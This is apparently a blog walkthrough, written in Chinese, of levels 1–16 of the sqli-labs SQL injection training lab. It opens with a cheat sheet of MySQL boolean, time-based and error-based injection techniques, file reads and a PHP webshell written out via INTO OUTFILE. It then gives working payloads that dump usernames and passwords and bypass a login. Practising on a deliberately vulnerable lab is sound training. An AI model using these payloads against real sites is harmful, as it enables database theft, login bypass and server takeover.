sqli-labs 通关之路(未完成)

N年前就下载过的 SQL 注入靶场,终于在今天认真玩一玩。网上教程和攻略很多,方法也不尽相同。取所需吧~

前置知识点乱记

SQL注入 5 种类型:布尔注入,时间注入,报错注入,联合查询注入,堆查询注入。还有一种 SQLMAP 支持的,内联注入。

常用函数:

  • version() MySQL版本
  • user() 数据库用户名
  • database() 数据库名
  • @@datadir 数据库路径
  • @@version_compile_os 操作系统版本

字符串连接函数:

  • concat(a,b,...) 没有分隔符地连接字符串
  • concat_ws(separator,a,b,...) 含有分隔符地连接字符串
  • group_concat(a,b,...) 以逗号分隔

布尔盲注逻辑判断:

  • left(database(),1)>'s' left(a,b) 从左侧截取a的前b位
  • ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 substr(a,b,c) 从b位置开始,截取字符串a的c长度。ascii()将某个字符串转换为ascii值。
  • ascii(substr(select database(),1,1))=98
  • ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98 ord() 函数同 ascii()mid() 从位置b开始,截取a字符串的c位。
  • select user() regexp '^[a-z]' 使用正则,正确时结果为1,不正确时结果为0,例如:select * from users where id=1 and 1=(if((user() regexp '^r'),1,0)),通过if语句的条件判断,例如:select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);,再使用中只需要更换表达式即可 '^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
  • like匹配注入:select user() like ‘ro%’

基于报错的SQL盲注:

构造payload让信息通过错误提示回显出来。

  1. floor 报错
    Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a
    此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的 重复,三是 group by进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0)rand()需要多试几次才行
    可以简化为:
    select count(\*) from information_schema.tables group by concat(version(), floor(rand(0)\*2))
    如果 rand 被禁用了可以使用用户变量来报错
    select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

  2. 用户变量报错
    select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

  3. exp报错,对mysql版本有要求
    select exp(~(select * FROM(SELECT USER())a)) double 数值类型超出范围

  4. bigint溢出报错
    select !(select * from (select user())x) ~0

  5. extractvalue报错
    extractvalue(1,concat(0x7e,(select @@version),0x7e))
    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

  6. updatexml报错
    updatexml(1,concat(0x7e,(select @@version),0x7e),1)

  7. NAME_CONST报错
    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; 利用了mysql重复特性

  8. join报错爆字段,知道表名的情况下使用
    select * from (select * from 表名 a join 表名 b) c)
    在得到一个字段后,使用using得到下一个字段
    select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段)) c

  9. 使用GeometryCollection报错
    and geometrycollection((select * from(select * from(select user())a)b));

  10. 通过polygon报错
    and polygon((select * from(select * from(select user())a)b));

  11. 通过multipoint报错
    and multipoint((select * from(select * from(select user())a)b));

  12. 通过multlinestring报错
    and multilinestring((select * from(select * from(select user())a)b));

  13. 通过multpolygon报错
    and multipolygon((select * from(select * from(select user())a)b));

  14. 通过linestring报错
    and linestring((select * from(select * from(select user())a)b));

基于时间的SQL盲注:

  • if(ascii(substr(database(),1,1))>115,0,sleep(5))%23 使用if判断,如果条件为假,执行sleep进行延时
  • UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1 BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源
    Mysql--BENCHMARK(100000,MD5(1)) or sleep(5)
    Postgresql--PG_SLEEP(5) OR GENERATE_SERIES(1,10000)
    Ms sql server--WAITFOR DELAY ‘0:0:5’

导入导出相关操作

load_file() 导出文件,读取文件并返回该文件的内容。前提条件:

  • 文件可读,有读取权限:and (select count(*) from mysql.user)>0/* 说明具有读写权限
  • 必须拥有文件的绝对路径
  • 文件大小 max_allowed_packet
    一些常见的写法:
load_file(char(99,58,47,98,111,111,116,46,105,110,105)) -- ascii代码
load_file(0x633a2f626f6f742e696e69)  -- 16进制
load_file(c:\\boot.ini) -- 路径里的 / 用 \\ 代替

load data infile 将文件导入数据库

load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t'
lines terminated by '\n'

SELECT.....INTO OUTFILE 'file_name' 将内容写入到文件中
也需要文件写权限和绝对路径。

select <?php @eval($_post[“cmd”])?> into outfile “c:\\htdocs\\test.php” -- 直接写入文件
select version() into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 进制文件  
-- 通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。同时可以用 FIELDS TERMINATED BY
-- 16 进制可以为一句话或者其他任何的代码,可自行构造

一些技巧

盲注时,可以先转为小写进行字符比较,得到字符串后再判断大小写,能够大大缩小数据包数量。

Part I:Basic Challenges

less-1

注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1

注入思路:单引号的字符串注入,常规注入,通过information_schema获取数据库、表、字段信息

注入过程:

?id=1
?id=1'
?id=1'+and+1=1+--+-
?id=1'+and+1=2+--+-
?id=1'+order+by+3+--+-
?id=-1'+union+select+1,2,3+--+-
?id=-1'+union+select+1,group_concat(schema_name),3+from+information_schema.schemata--+-
?id=-1'+union+select+1,group_concat(table_name),3+from+information_schema.TABLES+where+table_schema%3d'security'--+-
?id=-1'+union+select+1,group_concat(column_name),3+from+information_schema.COLUMNS+where+table_name%3d'users'--+-
?id=-1'+union+select+1,group_concat(id,username,password),3+from+users+where+id%3d1--+-

less-2

注入点:SELECT * FROM users WHERE id=$id LIMIT 0,1

注入思路:整型注入,同 less-1

注入过程:

?id=1
?id=1+and+1=1+--+-
?id=1+and+1=2+--+-
?id=1+order+by+3+--+-
?id=-1+union+select+1,2,3+--+-
?id=-1+union+select+1,group_concat(schema_name),3+from+information_schema.schemata--+-
?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.TABLES+where+table_schema%3d'security'--+-
?id=-1+union+select+1,group_concat(column_name),3+from+information_schema.COLUMNS+where+table_name%3d'users'--+-
?id=-1+union+select+1,group_concat(id,username,password),3+from+users+where+id%3d1--+-

less-3

注入点:SELECT * FROM users WHERE id=('$id') LIMIT 0,1

注入思路:注入点被单引号及括号包含,需要闭合后单引号和括号,判断时可以使用注释,也可自行闭合

注入过程:

?id=1
?id=2')+and+1=('1
?id==2')+and+1=('2

less-4

注入点:SELECT * FROM users WHERE id=("$id") LIMIT 0,1

注入思路:参数由双引号和括号包裹,同 less-1

注入过程:略

less-5

注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1

注入思路:注入点还是普通的单引号,但是没有回显,为盲注。使用length() 判断位数,ascii() 配合substr()截取字符串比较判断。也可以使用REGEXP正则匹配,like匹配,或ord等函数。

注入过程:

?id=1
?id=1'
?id=1'+--+-
?id=1'+and+length(database())%3d8+--+-
?id=1'+and+left(database(),1)%3d's'+--+-   (查数据库名)
?id=1'+and+ascii(substr((select+table_name+from+information_schema.TABLES+where+table_schema%3ddatabase()+limit+0,1),1,1))%3d101--+-  (查第一个表的第一个字符)
?id=1'+and+ascii(substr((select+table_name+from+information_schema.TABLES+where+table_schema%3ddatabase()+limit+0,1),2,1))%3d109--+- (查第一个表的第二个字符)
?id=1'+and+ascii(substr((select+table_name+from+information_schema.TABLES+where+table_schema%3ddatabase()+limit+1,1),1,1))%3d114--+-  (查第二个表的第一个字符)
?id=1'+AND+1%3d(SELECT+1+FROM+information_schema.COLUMNS+WHERE+table_schema%3d'security'+AND+table_name%3d'users'+AND+column_name+REGEXP+'^id[a-z]*'+LIMIT+0,1)--+- (使用regexp查询第一个列名)
?id=1'+AND+1%3d(SELECT+1+FROM+information_schema.COLUMNS+WHERE+table_schema%3d'security'+AND+table_name%3d'users'+AND+column_name+LIKE+'u%25'+LIMIT+0,1+)--+- (使用like匹配列名)
?id=1'+AND+1%3d(ORD(MID((SELECT+IFNULL(CAST(username+AS+CHAR),0x20)FROM+security.users+ORDER+BY+id+LIMIT+0,1),1,1))%3d68)--+- (使用ord和mid获取字段数据第一个字符)
?id=1'+AND+1%3d(ORD(MID((SELECT+IFNULL(CAST(username+AS+CHAR),0x20)FROM+security.users+ORDER+BY+id+LIMIT+0,1),2,1))%3d117)--+- (使用ord和mid获取字段数据第二个字符)

注入思路2:使用单引号会报错,因此尝试报错注入。

注入过程:

1'+union+select+1,count(*),concat(0x3a,0x3a,(select+user()),0x3a,0x3a,floor(rand(0)*2))+a+from+information_schema.columns+group+by+a+--+-  (使用 floor 报错)
?id=1'+and+extractvalue(1,concat(0x7e,(select+%40%40version),0x7e))--+-  (使用extractvalue报错)

注入思路3:尝试延时注入

注入过程:

?id=1'+UNION+SELECT+(IF(SUBSTRING(current,1,1)%3dCHAR(115),BENCHMARK(50000000,ENCODE('MSG','by+5+seconds')),null)),2,3+FROM+(select+database()+as+current)+as+tb1--+-   (使用BENCHMARK进行延时)
?id=1'+and+if(ascii(substr(database(),1,1))%3d'117',1,sleep(5))--+-  (使用if进行sleep)

less-6

注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1

注入思路:参数由双引号包裹,同 less-5

注入过程:略

less-7

注入点:SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1

注入思路:题目提示使用outfile导出文件

注入过程:

?id=1'))+or+1%3d1+--+-
?id=1'))+order+by+3--+-
1'))+union+select+1,2,'aaa'+into+outfile+'/Applications/MAMP/htdocs/sqli/Less-7/123.txt'--+-

less-8

注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1

注入思路:单引号包裹,布尔盲注,同 less-5

注入过程:

?id=1'+and+1%3d2--+-
?id=1'+and+1%3d1--+-
?id=1'+order+by+3--+-
?id=1'+and+left(database(),2)%3d'se'--+-
?id=1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1))%3d101--+-

less-9

注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1

注入思路:单引号包裹,延时注入

注入过程:

?id=1'+and+if(ascii(substr(database(),1,1))%3d115,0,sleep(10))--+-
?id=1'+and+If(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3d'security'+limit+0,1),1,1))%3d102,1,sleep(5))--+-
?id=1'+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3d'users'+limit+0,1),1,1))%3d85,1,sleep(5))--+
?id=1'+and+if(ascii(substr((select+username+from+users+where+id%3d1+limit+0,1),1,1))%3d68,1,sleep(5))--+- 

less-10

注入点:SELECT * FROM users WHERE id='$id' LIMIT 0,1

注入思路:双引号包裹,同less-9

注入过程:略

less-11

注入点:SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

注入思路:登陆位置的注入,如果目的是成功登陆,就可以构造逻辑闭合条件。由于能看到报错,想注入数据的话可以使用报错注入。

注入过程:

uname=admin' or 1=1 -- - (逻辑修改登陆)
uname=aaa' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- - (报错注入)

注入思路2:由于登陆成功后会将结果回显在页面上,可以使用union select执行查询结果

注入过程:

uname=1admin ' union select 1,database()#

less-12

注入点:SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1

注入思路:使用括号包裹,同less-11

注入过程:略

less-13

注入点:SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1

注入思路:使用单引号和括号包裹,并且但登陆后不进行数据的回显了,因此可以使用报错注入或者盲注来获取数据

注入过程:

uname=admin') and extractvalue(1,concat(0x7e,(select database()),0x7e))# (报错注入)
uname=admin') and left(database(),1)>'a' -- -  (盲注)
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1),1,1))=101 -- -  (盲注)

less-14

注入点:SELECT username, password FROM users WHERE username="$uname" and password="$passwd" LIMIT 0,1

注入思路:使用了双引号,同less-13

注入过程:略

less-15

注入点:SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

注入思路:使用单引号,除了登陆成功或失败没有回显。可以使用盲注或延时注入。同less-13

注入过程:略

less-16

注入点:SELECT username, password FROM users WHERE username=("$uname") and password=("$passwd") LIMIT 0,1

注入思路:使用双引号和括号包裹。同less-13

注入过程:略